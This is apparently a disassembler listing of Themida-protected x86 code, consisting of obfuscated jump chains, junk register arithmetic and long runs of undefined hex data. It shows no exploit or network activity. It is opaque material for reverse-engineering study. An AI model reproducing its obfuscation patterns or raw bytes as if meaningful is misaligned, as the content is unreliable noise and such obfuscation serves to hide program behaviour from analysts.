		mov	[esp], ebx
		jmp	loc_568A95
; ---------------------------------------------------------------------------


loc_56016D:				; CODE XREF: Themida_:005657EAj
		pop	esi
		pop	ecx
		xor	ecx, 51E47D27h
		pop	edx
		xor	ecx, ebp
		xor	ebp, ecx
		jmp	loc_56B204
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24248900h, 4B850h, 44010000h, 8F580424h, 0B5E92404h
		dd 55000020h, 42474FFh,	53242C8Bh, 0C381E389h, 4, 4BF57h
		dd 0FB010000h, 241C875Fh, 24048F5Ch, 8B24248Bh,	53682404h
		dd 89000067h, 0FF54242Ch, 34FF2434h, 0C4835D24h, 8784E904h
		dd 88680000h, 8900006Ch, 50BD242Ch, 210AC922h, 0A3E95DEFh
		db 0D5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5601EF:				; CODE XREF: Themida_:005625C7j
		pop	esp
		sub	eax, 30FF7E8Fh
		sub	eax, ebx
		jmp	loc_568E87
; ---------------------------------------------------------------------------
		dd 0D4EE8166h, 0F589669Ah, 0F581665Eh, 31660006h, 89665DEEh
		dd 13B4E9F2h, 0D8F70001h, 69B7E952h, 0C3810000h, 4, 8B241C87h
		dd 0BE562424h, 4, 348BF501h, 4C48324h, 50F168h,	29DCE900h
		dd 0C4830000h, 0C5B6E904h, 89660000h, 4CE92404h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560253:				; CODE XREF: Themida_:0056A99Cj
		sub	dword ptr [esp], 3C552EF8h
		jmp	loc_56E360
; ---------------------------------------------------------------------------
		db 81h
		dd 850BE1EDh, 0CBED8168h, 0E97E2A11h, 77B2h, 801CC580h
		dd 0E5C0FFEDh, 3FF58008h, 112B3E9h, 2BE5600h, 0E9000000h
		dd 0E4AFh, 1A53EE81h, 58E973B6h, 6800011Bh, 0AF0h, 83241489h
		dd 48904ECh, 0C7B95124h, 29280B7Fh, 5904244Ch, 5A2434FFh
		dd 117E68h, 241C8900h, 3F90E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5602C2:				; CODE XREF: Themida_:005675D7j
		sub	esp, 4
		mov	[esp], esi
		pop	ecx
		pop	esi
		not	ecx
		shr	ecx, 1
		sub	ecx, 0FFFFFFFFh
		xor	ecx, 12422AC9h
		shl	ecx, 4
		jmp	loc_56D239
; ---------------------------------------------------------------------------
		db 68h
		dd 0A2Ch, 89240489h, 0E755E9F0h, 815F0000h, 196A53C5h
		dd 0EC6DE96Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5602FA:				; CODE XREF: Themida_:00568AA9j
		mov	ebx, [esp]
		add	esp, 4
		add	edi, 7C472B8Dh
		sub	edi, eax
		sub	edi, 7C472B8Dh
		jmp	loc_56E778
; ---------------------------------------------------------------------------


loc_560313:				; CODE XREF: Themida_:005670A4j
		mov	ebx, 64080A29h
		xor	ebx, 2F5122B5h
		jmp	loc_5721B7
; ---------------------------------------------------------------------------
		db 1
		dd 0CE981D9h, 0E9158B70h, 168Dh, 67072D59h, 0D00166CBh
		dd 0CB670705h, 11055A66h, 12B267Dh, 7D112DD8h, 752D2B26h
		dd 0E9656621h, 0AFB0h, 0C781F701h, 7EB9621Bh, 5E2434FFh
		dd 4C481h, 3C870000h, 33E95C24h, 10000A3h, 0C22959C8h
		dd 8124048Bh, 4C4h, 4815200h, 0A074CD24h, 0E9018F31h, 103CBh
; ---------------------------------------------------------------------------


loc_56038C:				; CODE XREF: Themida_:0056158Dj
		add	ebp, 1C9105DAh
		add	ebp, ecx
		jmp	loc_56627B
; ---------------------------------------------------------------------------
		dd offset dword_5D4F68
		align 2
		dw 3489h
		dd 37685124h, 595A325Eh, 5AE0F181h, 5E517654h, 0C1D6F759h
		dd 0C68102EEh, 0CCD68A6h, 0B97E9h, 240C8700h, 6624248Bh
		dd 83240C8Bh, 7E904ECh,	68000094h, 7B24h, 0BE243489h, 2
		dd 348BF001h, 3E95224h
		db 8, 1, 0
; ---------------------------------------------------------------------------


loc_5603EB:				; CODE XREF: Themida_:0055F370j
		add	esp, 4
		jmp	loc_5662FB
; ---------------------------------------------------------------------------
aFzhok		db 'fZh®k',0
		dd 242C8900h, 0C581E589h, 4, 0F9E7E9h, 0F7EF8700h, 17F4E9D5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560416:				; CODE XREF: Themida_:00572AA5j
		mov	esi, 3CF7721Dh
		mov	eax, 0D3BACBD7h
		jmp	loc_56C6ED
; ---------------------------------------------------------------------------


loc_560425:				; CODE XREF: Themida_:0056A8C1j
		mov	edi, [esp]
		add	esp, 4
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 2
		jmp	loc_561909
; ---------------------------------------------------------------------------
		db 0F7h
aBVBbASdv	db 'ÒÊÚvÈBêÉÑ€´éd¢',0
		align 2


loc_560452:				; CODE XREF: Themida_:00570F3Bj
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		bt	[esp], ax
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 24248B24h, 4C481h, 3D680000h, 89000039h, 68532404h
		dd 0E226C47h, 0A9BE565Bh, 81721C4Dh, 0DC3AC9CEh, 81DEF708h
		dd 0FE13ACF6h, 5EF30174h, 32E95853h
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56049F:				; CODE XREF: Themida_:00565440j
		mov	ecx, 2465115Ch
		push	edx
		push	ebx
		mov	ebx, ecx
		mov	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	ebx, edx
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 496B1AA3h
		push	eax
		not	dword ptr [esp]
		pop	eax
		inc	eax
		jmp	loc_570F0D
; ---------------------------------------------------------------------------


loc_5604D7:				; CODE XREF: Themida_:005695F4j
		push	432Ah
		mov	[esp], eax
		push	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	4
		pop	edx
		jmp	loc_560D48
; ---------------------------------------------------------------------------


loc_5604FE:				; CODE XREF: Themida_:0055FCC0j
		pop	eax
		push	ebx
		jmp	loc_561B5D
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 53h
		dd 468h, 0D9015B00h, 81241C8Bh,	4C4h, 0E6895600h, 0FFF008E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560521:				; CODE XREF: Themida_:0056D0BEj
		pop	esp
		push	esi
		mov	esi, 1ADB36D4h
		xor	esi, 6FEF63A3h
		push	esi
		push	edx
		pop	esi
		pop	edx
		not	edx
		jmp	loc_568F3A
; ---------------------------------------------------------------------------
		db 0B5h, 0F9h, 80h
		dd 0EA30EEC5h, 2C2C2C59h, 6041Ah, 4EC81D0h, 89000000h
		dd 0EEB62414h, 0CEFED6F6h, 8002EEC0h, 45E9FEEEh, 0E9000020h
		dd 0FFFFDB37h
; ---------------------------------------------------------------------------


loc_560568:				; CODE XREF: Themida_:0056C886j
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_55E9B0
; ---------------------------------------------------------------------------
		dd 5B2434FFh, 8304C483h, 0B8E904ECh, 29000037h,	54015FFAh
		dd 34FF0424h, 0C4815A24h, 4, 0E9242C8Bh, 6A1Bh
dword_5605AC	dd 0FF2434FFh, 48B2434h, 4C48124h, 50000000h, 24048B54h
					; DATA XREF: Themida_:0055DE4Co
		dd 5704C483h, 3EEAE953h, 0C2810000h, 0BF03B8FBh, 0E95AD501h
		dd 811Fh, 0C781E789h, 4, 8704C783h, 525C243Ch, 7387BF57h
		dd 0DF874641h, 76E9D3F7h
		db 20h,	1, 0
; ---------------------------------------------------------------------------


loc_5605F7:				; CODE XREF: Themida_:00572508j
		or	edi, 4EE913F4h
		push	eax
		mov	eax, 4C520E17h
		shl	eax, 3
		dec	eax
		xor	eax, 6E152EAFh
		jmp	loc_5692CD
; ---------------------------------------------------------------------------


loc_560611:				; CODE XREF: Themida_:00570CD5j
		mov	ecx, 5DC2771Bh
		jmp	loc_55F15C
; ---------------------------------------------------------------------------
aSlb		db '^é«¡',0
		db 0
; ---------------------------------------------------------------------------


loc_560621:				; CODE XREF: Themida_:0056DCC5j
		add	ebx, esi
		add	ebx, 1A266E2h
		pop	esi
		add	ebx, 2
		xchg	ebx, [esp]
		mov	esp, [esp]
		or	[esp], ax
		pushf
		jmp	loc_56238C
; ---------------------------------------------------------------------------


loc_56063D:				; CODE XREF: Themida_:0055E330j
		add	esi, 3AE0255h
		add	esi, ebp
		sub	esi, 3AE0255h
		mov	ebp, [esp]
		add	esp, 4
		push	6D81h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	edi
		mov	edi, 4
		sub	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 1F5E1348h
		sub	ebp, 0B0E9C11Bh
		push	ecx
		jmp	loc_56F8CE
; ---------------------------------------------------------------------------
		dw 0FE5Ah
		dd 66DCF6CCh, 668C6852h, 0C890000h, 19E2E924h, 0F1280001h
		dd 31F1805Ah, 0E6A9E9h
		db 0
byte_5606A1	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0055DF20o
		dd 582434FFh, 0AD78E9h,	24248B00h, 240C8B66h, 38E95451h
		dd 51000048h, 0E580BCB5h, 0E9526688h, 0CFC1h, 0BE0EC42Dh
		dd 58C2016Eh, 18B95150h, 0B8353A18h, 7053151Dh,	0C159C831h
		dd 4F9708E0h, 0C1D8F797h, 0D0F702E8h, 43413B35h, 58C201DAh
		dd 5C241487h, 3B616855h, 0E95D2E14h, 10923h
; ---------------------------------------------------------------------------


loc_560704:				; CODE XREF: Themida_:0056B124j
		add	esp, 4
		sub	esi, 6235028Ch
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_56512C
; ---------------------------------------------------------------------------
		dw 489h
aIrshe		db '$‰àéh¥',0
		align 4


loc_56073C:				; CODE XREF: Themida_:0056C056j
		mov	esi, [esp]
		jmp	loc_563084
; ---------------------------------------------------------------------------


loc_560744:				; CODE XREF: Themida_:00570B22j
		push	ebx
		jmp	loc_565DF4
; ---------------------------------------------------------------------------
		dw 0C328h
		dd 80FDC380h, 0A4E9E7C3h, 53000075h, 2D19E9h, 81FA8700h
		dd 2B7C69C2h, 5AD72903h, 12255E9h, 3E436800h, 4890000h
		dd 0FE4EE924h, 14310000h, 24143324h, 241C335Ch,	0E9241C31h
		dd 11842h, 285AF400h, 0C3EC80FCh, 0B778E95Bh, 0C4810000h
		dd 4, 582434FFh, 4A8668h, 240C8900h, 0C181E189h, 4, 4BE56h
		dd 0F1010000h, 240C875Eh, 0E924248Bh, 74BAh, 518AB850h
		dd 0C7011464h, 66685A58h, 89000040h, 2682434h, 5E000000h
		dd 348BF701h, 4C48324h,	730868h, 243C8900h, 0B27E9h, 0A5E98100h
		dd 0C114DC1Bh, 0EEE905E9h, 2D000113h, 5485712Fh, 2F05C801h
		dd 5548571h, 6773271Ch,	83240C8Bh, 0C33104C4h, 869FE9h
		dd 0C1DF8700h, 0FD6805E7h, 0E9000020h, 0DD68h
aMsa		db '¬é Ý',0             ; DATA XREF: Themida_:0055E014o
		align 2


loc_560836:				; CODE XREF: Themida_:005724E0j
		push	1AF7h
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55FFC2
; ---------------------------------------------------------------------------
word_56084A	dw 8B66h		; DATA XREF: Themida_:0055DF9Co
		dd 0EC832404h, 24348904h, 1B3C68h, 0D0E95400h, 680000B9h
		dd 73FBh, 0B5240C89h, 24E5808Dh, 0CDFEC5FEh, 11C17E9h
		db 0
; ---------------------------------------------------------------------------


loc_560875:				; CODE XREF: Themida_:0056B9B9j
		mov	esi, ebx
		jmp	loc_563B1C
; ---------------------------------------------------------------------------
		dd 8953E389h, 4C381E3h,	83000000h, 0DBE904EBh
		db 0EAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56088F:				; CODE XREF: Themida_:005667D9j
		xor	edi, 893771Ch
		not	edi
		add	edi, 513F5C31h
		neg	edi
		sub	edi, 61113B94h
		jmp	loc_571B04
; ---------------------------------------------------------------------------
		dw 8145h
		dd 4C0FD4EDh, 5DEE89F9h, 0CECB951h, 0D1F73B58h,	81D1F749h
		dd 26535AC1h, 0F071E9D4h, 0C8BFFFFh, 4C48124h, 89000000h
		dd 24148BD6h, 505E9h, 24048900h, 6B0E9h, 0C4815900h, 4
		dd 688568h, 24348900h, 0BCE9E689h
		db 0EDh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5608FB:				; CODE XREF: Themida_:0056EE56j
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_56A91D
; ---------------------------------------------------------------------------


loc_560905:				; CODE XREF: Themida_:00567E27j
		shl	edi, 7
		inc	edi
		shr	edi, 1
		add	edi, 0B8F7E1AEh
		jmp	loc_56BEA2
; ---------------------------------------------------------------------------
word_560916	dw 8B66h		; DATA XREF: Themida_:0055DEE0o
		dd 0E957240Ch, 93FCh, 405h, 50346800h, 1C890000h, 26824h
		dd 1C8B0000h, 4C48324h,	8F46DC05h, 2DD8011Bh, 1B8F46DCh
		dd 5B2434FFh, 4EC81h, 14890000h, 0E63FE924h, 0FA870000h
		dd 0C3E9D7F7h
		db 16h,	1, 0
; ---------------------------------------------------------------------------


loc_56095F:				; CODE XREF: Themida_:0056F9B4j
		push	esi
		push	eax
		push	773948DCh
		pop	eax
		add	eax, 320CE250h
		jmp	loc_55EDB5
; ---------------------------------------------------------------------------


loc_560971:				; CODE XREF: Themida_:00560996j
		add	edx, 1F4A5D60h
		add	edx, 17F47C86h
		jmp	loc_5707E4
; ---------------------------------------------------------------------------


loc_560982:				; CODE XREF: Themida_:0055E6E5j
		pop	eax
		push	edx
		push	esi
		mov	esi, 50944023h
		shr	esi, 5
		sub	esi, 0A11C7CE6h
		mov	edx, esi
		pop	esi
		jmp	loc_560971
; ---------------------------------------------------------------------------
		db 83h
		dd 2C8904ECh, 4BE95424h
		db 49h,	2 dup(0)
byte_5609A7	db 0ADh			; DATA XREF: Themida_:0055DE70o
		dd 0F626E9h, 24248B00h,	5D93E9h, 81E38900h, 4C3h, 4C38100h
		dd 87000000h, 535C241Ch, 3C61E954h, 0E8C10000h,	0D97AE902h
		dd 0BE56FFFFh, 0DF22403h, 38E9F229h, 29FFFFFCh,	24E95EF2h
		db 93h,	2 dup(0)
byte_5609EB	db 66h			; DATA XREF: Themida_:0055DDFCo
		dd 74FF6656h, 8B660224h, 0C4812434h, 2,	11572E9h
		db 0
; ---------------------------------------------------------------------------


loc_560A01:				; CODE XREF: Themida_:0055E4BEj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_566937
; ---------------------------------------------------------------------------


loc_560A0F:				; CODE XREF: Themida_:005611F4j
		push	esi
		pop	eax
		pop	esi
		pop	ebx
		push	edx
		push	ebp
		push	56111D31h
		pop	ebp
		or	ebp, 9222046h
		sub	ebp, 5F333D53h
		jmp	loc_570C4C
; ---------------------------------------------------------------------------
		dd 56463FBBh, 5EBC122h,	0C381D3F7h, 3EC85BBAh, 0F381D3F7h
		dd 0C24A5673h, 55BDD89h, 363D0BE5h, 3FE9E801h, 81FFFFF4h
		dd 813B69E9h, 81D90165h, 813B69C1h, 241C8B65h, 5604C483h
		dd 2BEh, 69DAE900h, 0B52D0000h,	0C14C356Ch, 520506E8h
		dd 1FCBFECh, 0EC8358C5h, 242C8904h, 42474FFh, 8379E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560A92:				; CODE XREF: Themida_:0056CA1Bj
		push	eax
		jmp	loc_56E39D
; ---------------------------------------------------------------------------
		dd 0E904C483h, 0C16Dh
; ---------------------------------------------------------------------------


loc_560AA0:				; CODE XREF: Themida_:00564A6Dj
		xor	edi, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebp, 5CD1629Ch
		sub	ebp, 1CAA12AAh
		add	ebp, edi
		add	ebp, 1CAA12AAh
		sub	ebp, 5CD1629Ch
		pop	edi
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5713F1
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 246C0104h, 28E95D04h, 810000A7h, 7927B8EBh, 0F2B8505Fh
		dd 0D19C122h, 6F7D5BA1h, 684B4825h, 58C82D60h, 78057F7Ah
		dd 8182AE13h, 64599DC3h, 81C30179h, 64599DEBh, 24048B79h
		dd 4C481h, 0BE560000h, 5E1074Ah, 0F707EEC1h, 0BDFBE9DEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560B2E:				; CODE XREF: Themida_:005707CEj
		add	eax, ebx
		pop	ebx
		add	ecx, 691336DDh
		sub	ecx, eax
		sub	ecx, 691336DDh
		push	dword ptr [esp]
		pop	eax
		jmp	loc_563EEF
; ---------------------------------------------------------------------------
		dd 6624248Bh, 0E9C8AF0Fh, 1071h, 4CC38058h, 6F776866h
		dd 24048966h, 6CE9ADB4h, 5000089h, 1E180FA7h, 4258C221h
		dd 2BDDC281h, 0EA81373Ah, 17434386h, 148BD729h,	4C48124h
		dd 89000000h, 0C3015FF8h, 74FF5358h, 8F5B0424h,	665C2404h
		dd 9C2424D3h, 0FFD4FEE9h, 1BBD55FFh, 0F731A664h, 6EDC1D5h
		dd 6213F581h, 0C5817587h, 0B1A9DDBFh, 72E95552h
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560BBF:				; CODE XREF: Themida_:00568399j
		mov	eax, 30835413h
		add	[esp+4], eax
		mov	eax, [esp]
		push	3B89h
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_55FB67
; ---------------------------------------------------------------------------
		dw 8357h
		dd 2C8904ECh, 7B95BD24h, 0D5F77B01h, 1A6DBE56h,	464635B5h
		dd 0A4C1E946h, 895C0000h, 91E92404h, 0B4000020h, 7ECC0BBh
		dd 80BCEC80h, 0EC83C4F4h, 24148904h, 0D788E288h, 8124148Bh
		dd 4C4h, 24048B00h, 0B55CE9h, 88C18800h, 0FA8859CFh, 0D028585Bh
		dd 0E9DC045Ah, 8F85h
; ---------------------------------------------------------------------------


loc_560C38:				; CODE XREF: Themida_:0055E2CDj
		sub	ebp, 54032D5h
		add	ebp, 0EE06E162h
		add	eax, ebp
		pop	ebp
		push	6187h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		mov	ebx, 4175636Dh
		mov	esi, ebx
		pop	ebx
		push	esi
		jmp	loc_564765
; ---------------------------------------------------------------------------


loc_560C67:				; CODE XREF: Themida_:0056D74Aj
		push	dword ptr [esp]
		pop	edi
		push	540h
		mov	[esp], ecx
		jmp	loc_55FBF6
; ---------------------------------------------------------------------------
		dd 208C681h, 0FE014F5Fh, 2CD6BB53h, 2EE91BC6h
		db 0F1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_560C8B:				; CODE XREF: Themida_:0056D6AAj
		and	ecx, 17851A02h
		sub	ecx, 13E0412h
		xor	edx, ecx
		jmp	loc_569D6D
; ---------------------------------------------------------------------------


loc_560C9E:				; CODE XREF: Themida_:00571D8Aj
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		add	eax, 4
		jmp	loc_561A13
; ---------------------------------------------------------------------------
		dd 4F581h, 0C2810000h, 4B536035h, 7218E9h
		db 0
; ---------------------------------------------------------------------------


loc_560CC1:				; CODE XREF: Themida_:0056CB57j
		add	esp, 4
		and	ebx, edi
		pop	edi
		or	ebx, ebx
		jnz	loc_55FDF3
		push	4332h
		jmp	loc_572B4B
; ---------------------------------------------------------------------------


loc_560CD9:				; CODE XREF: Themida_:00562AEBj
		sub	ebp, 68A637B6h
		add	ebp, ebx
		push	ecx
		mov	ecx, 5EE73D28h
		xor	ecx, 36410A9Eh
		jmp	loc_56F542
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 21905C6Dh, 0EF81CF01h, 21905C6Dh, 81240C8Bh,	4C4h, 243C8700h
		dd 0FAF7E9h, 7685C00h, 89000043h, 4CE92414h, 8B00005Ch
		dd 8956241Ch, 4C681E6h,	81000000h, 4C6h, 24343300h, 0B1D1E9h
		dd 0EC835B00h, 0F2BE904h
		db 2 dup(0)
word_560D42	dw 0E952h		; DATA XREF: Themida_:0055DFA8o
		dd 321Eh
; ---------------------------------------------------------------------------


loc_560D48:				; CODE XREF: Themida_:005604F9j
		add	eax, edx
		jmp	loc_56335B
; ---------------------------------------------------------------------------
byte_560D4F	db 66h			; DATA XREF: Themida_:0055DE30o
		dd 68240C8Bh, 3A25h, 0BE29E9h
		db 0
; ---------------------------------------------------------------------------


loc_560D5D:				; CODE XREF: Themida_:00563D25j
		sub	edi, esi
		add	edi, 4FA625E3h
		jmp	loc_5640F8
; ---------------------------------------------------------------------------


loc_560D6A:				; CODE XREF: Themida_:00562E4Fj
		xor	ebp, 0A896A85h
		jmp	loc_560DD5
; ---------------------------------------------------------------------------


loc_560D75:				; CODE XREF: Themida_:00571791j
		mov	[esp], esp
		jmp	loc_55E746
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 5324148Bh, 3F65E9h
		db 0
; ---------------------------------------------------------------------------


loc_560D89:				; CODE XREF: Themida_:0056FFB1j
		sub	ebp, 339D6AC6h
		jmp	loc_56CC52
; ---------------------------------------------------------------------------


loc_560D94:				; CODE XREF: Themida_:0056C3F0j
		pop	ebx
		push	3F80h
		mov	[esp], esi
		mov	esi, 560C2CB4h
		dec	esi
		jmp	loc_55FB21
; ---------------------------------------------------------------------------
		dd 0E904C083h, 0AFC1h
; ---------------------------------------------------------------------------


loc_560DB0:				; CODE XREF: Themida_:005707C4j
		add	eax, edx
		pop	edx
		jmp	loc_5658A3
; ---------------------------------------------------------------------------
		dd 0C681DE01h, 62590B81h, 0ADCFE9h, 8BF72900h, 0C4812434h
		dd 4, 0FFE865E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560DD5:				; CODE XREF: Themida_:00560D70j
		add	ebp, 0BD676ECh
		mov	ebx, ebp
		jmp	loc_564627
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 46D6F746h, 0FFEE8146h, 81FFFFFFh,	273962C6h, 0FFF031D2h
		dd 348B2434h, 1795E924h, 59540000h, 0ED07E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560E0E:				; CODE XREF: Themida_:00565BF4j
		pop	edx
		sub	bl, 38h
		jmp	loc_56F428
; ---------------------------------------------------------------------------


loc_560E17:				; CODE XREF: Themida_:0056495Aj
		push	3A7Fh
		mov	[esp], edx
		jmp	loc_562D43
; ---------------------------------------------------------------------------
		dd 8091F580h, 0D1E9EDE5h, 80000081h, 0CA28A4EAh, 0E9A4C280h
		dd 0A9ACh, 0E902EAC1h, 3A05h, 0C180D4B1h, 80D1F651h, 0C80031E9h
		dd 66E80059h, 1CB15152h, 0FFE7C3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560E5D:				; CODE XREF: Themida_:00570D6Fj
		mov	edi, 786B3EDFh
		jmp	loc_565201
; ---------------------------------------------------------------------------


loc_560E67:				; CODE XREF: Themida_:0056BE7Ej
		mov	[esp], ecx
		mov	ecx, 5D8B2C74h
		jmp	loc_55F6DB
; ---------------------------------------------------------------------------


loc_560E74:				; CODE XREF: Themida_:005694C0j
		add	ecx, 0A3D28F1Ah
		add	ebp, 397D0B14h
		add	ebp, ecx
		jmp	loc_563AE9
; ---------------------------------------------------------------------------
		db 81h
		dd 0C1390DC2h, 5AD3010Fh, 0EB81C301h, 2F5D593Dh, 0FFDB91E9h
		dd 0D0BB9FFh, 0CA01775Dh, 46EA8159h, 0E976B36Ch, 0F7F8h
; ---------------------------------------------------------------------------


loc_560EB0:				; CODE XREF: Themida_:00568601j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_571012
; ---------------------------------------------------------------------------
		db 53h,	0E9h, 0E1h
		dd 56000104h, 30722BBEh, 0A49CE93Fh, 0DDBD0000h, 8102B03Bh
		dd 0F9E9A3C5h, 5DEB2908h, 6885E9h, 0F5BA5200h, 0C14CAA7Bh
		dd 0F28104EAh, 3C8D53EFh, 52EA8142h, 893847F4h,	0EE815AD0h
		dd 4E8F3609h, 0C681C629h, 4E8F3609h, 6EF6E9h, 68E68900h
		dd 1F71h, 0E9243C89h, 4742h, 0E9241C33h, 115E5h
; ---------------------------------------------------------------------------


loc_560F28:				; CODE XREF: Themida_:0056B171j
		dec	ebx
		sub	ebx, 38035B66h
		add	edx, ebx
		pop	ebx
		add	edx, 4
		jmp	loc_563BFB
; ---------------------------------------------------------------------------


loc_560F3A:				; CODE XREF: Themida_:00567F04j
		pop	eax
		sub	eax, 10D2297Dh
		push	ecx
		push	2778h
		mov	[esp], ebx
		jmp	loc_566DDD
; ---------------------------------------------------------------------------
aWsQ		db '½#&#Wé',1Bh,'Ÿ',0
		align 4
		dd 0D3F7DE87h, 28A8E9h
		db 0
; ---------------------------------------------------------------------------


loc_560F61:				; CODE XREF: Themida_:00566F8Fj
		add	esp, 4
		jmp	loc_568C97
; ---------------------------------------------------------------------------


loc_560F6C:				; CODE XREF: Themida_:0056C722j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5713DB
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0E389241Ch, 3656E9h, 5BD98900h, 0A1C7E9h
		dd 2F28B800h, 502D2758h, 0E9CF4A10h, 955Ah, 81E78957h
		dd 4C7h, 26F6E900h, 0E8E90000h,	5DFFFFD0h, 23D3C281h, 0C201323Dh
		dd 23D3EA81h, 5258323Dh, 3183E9h, 575E5400h, 7C279CBFh
		dd 0C1DFF73Ah, 0CF8103E7h, 77F143ADh, 6E54E9h
		db 0
; ---------------------------------------------------------------------------


loc_560FE5:				; CODE XREF: Themida_:00569C94j
		push	edi
		push	20DA2694h
		pop	edi
		add	edi, 646562Bh
		add	edi, 20E0E2D5h
		push	edi
		jmp	loc_55E7E4
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 42591528h, 0FFF09EE9h, 0E9FA88FFh, 5C92h, 4C381h, 0C3810000h
		dd 4, 5C241C87h, 81242C8Bh, 4C4h, 5DBE5600h, 0F709D91Eh
		dd 0E9D6F7DEh, 7FA0h, 8124048Fh, 42404h, 0C8B0000h, 4C48124h
		dd 81000000h, 4C1h, 0D64EE900h,	4B8FFFFh, 1000000h, 0E9042444h
		dd 0FFFFD84Ch, 0E9241C89h, 3249h
; ---------------------------------------------------------------------------


loc_56106C:				; CODE XREF: Themida_:005669CAj
		add	esp, 4
		jmp	loc_56A26D
; ---------------------------------------------------------------------------
		dd 0E9D1F749h, 206h
; ---------------------------------------------------------------------------


loc_56107C:				; CODE XREF: Themida_:0055F097j
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_562240
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0EC835924h, 241C8904h, 6268E389h, 89000051h,	82BE2434h
		dd 0D16C6D61h, 5E6C1E6h, 4414BD55h, 91E932F1h, 81000119h
		dd 4C3h, 4C38300h, 5C241C87h, 4C681h, 0B9510000h, 4, 6D1FBF57h
		dd 0FE290D2Ch, 81CE015Fh, 2C6D1FC6h, 8FBFE90Dh,	4810000h
		dd 424h, 0C6815E00h, 4,	3304C683h, 34312434h, 24343324h
		dd 0E789575Ch, 4EC81h, 4890000h, 4B824h, 0C7010000h, 16306858h
		dd 34890000h, 4BE24h, 0F7010000h, 8124348Bh, 4C4h, 0E390E900h
		dd 0BD550000h, 344484Ah, 815DEF29h, 1F705AC7h, 81D7012Ah
		dd 1F705AEFh, 4AC7812Ah, 0E9034448h, 0FFFFF678h, 2C481h
		dd 0C8B0000h, 0E2895224h, 6D1E9h, 4EC8300h, 57240C89h
		dd 0AE9E789h, 5C000053h, 0E99CC884h, 0FFFFCF27h, 4C481h
		dd 0B5680000h, 8900004Fh, 88532404h, 5BD888EBh,	4EC8351h
		dd 88241C89h, 0E9FD88C7h, 10724h, 6624248Bh, 66C8BE0Fh
		dd 0E9092C68h, 602Eh, 1A21B850h, 0E0C14681h, 0A2143504h
		dd 0C7016811h, 31A9E958h, 2C8B0000h, 4C48324h, 360BF681h
		dd 68E90091h, 5500005Fh, 700A54BDh, 0DA685251h,	5A1F5C2Eh
		dd 6FC8CA81h, 0E2C14D9Eh, 6FF1E906h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5611EE:				; CODE XREF: Themida_:00563532j
		sub	esi, 6CCB13DFh
		jmp	loc_560A0F
; ---------------------------------------------------------------------------
		db 0B8h, 0A6h, 29h
		dd 0F12D59D1h, 357AE845h, 0A161B85Dh, 48BC321h,	4C48324h
		dd 5E4BB850h, 0C3216313h, 0D58FE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56121E:				; CODE XREF: Themida_:005650E5j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_567CC9
; ---------------------------------------------------------------------------


loc_56122C:				; CODE XREF: Themida_:00563E1Fj
		pop	ebx
		push	ax
		mov	ah, bh
		mov	bh, dl
		mov	dl, ah
		pop	ax
		jmp	loc_56865C
; ---------------------------------------------------------------------------
		dd 0FFCE5EE9h
		db 0FFh
byte_561241	db 0ACh, 30h, 0D8h	; DATA XREF: Themida_:0055DEF8o
